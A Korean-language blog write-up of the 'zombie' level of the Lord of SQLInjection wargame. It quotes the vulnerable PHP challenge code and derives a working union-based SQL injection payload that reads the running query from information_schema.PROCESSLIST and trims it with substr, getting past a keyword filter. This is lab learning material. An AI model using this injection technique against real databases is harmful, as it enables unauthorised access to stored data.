Post

LOS Lv.31 zombie (풀이 봄)

zombie



1
2
3
4
5
6
7
8
9
10
11
12
13
14
query : select pw from prob_zombie where pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("zombie");
  if(preg_match('/rollup|join|ace|@/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_zombie where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("zombie");
  highlight_file(__FILE__);
?>






Solution



이것도 역시 테이블 안에 아무 값도 없음.

ouroboros처럼 해줘야 하는데 replace에서 ace가 필터링되어있음.

답지를 보니.. information_schema에 processlist가 있음.

이를 이용하여 풀 수 있음.


여기 무조건 확인
blog.limelee.xyz/entry/LOS-zombie?category=711778


로컬 환경에서 테스트를 하였고 내가 입력한 부분은 {}로 표시.


1
select id from test.rubiya where id='{' union SELECT info FROM information_schema.PROCESSLIST #}


이렇게 입력하면 결과는 다음처럼 나옴.


1
2
id
select id from test.rubiya where id='' union SELECT info FROM information_schema.PROCESSLIST LIMIT 0, 25


문제의 클리어 조건은 입력값과 비밀번호 값이 동일해야 한다는 것.

즉, 우리는 우리가 입력한 ' union SELECT info FROM information_schema.PROCESSLIST #

이 부분만 출력되도록 해줘야 하므로 substr함수를 이용할 꺼임.

그럼 substr함수가 추가되므로 우리가 입력할 값은 다음과 같음.


1
' union SELECT substr(info,??,??) FROM information_schema.PROCESSLIST #


1
2
3
select id from test.rubiya where id=' -> 길이는 37

' union SELECT substr(info,38,??) FROM information_schema.PROCESSLIST # -> 길이는 71


따라서 입력 값은 다음과 같음.
?pw=' union SELECT substr(info,38,71) FROM information_schema.PROCESSLIST %23






This post is licensed under CC BY 4.0 by the author.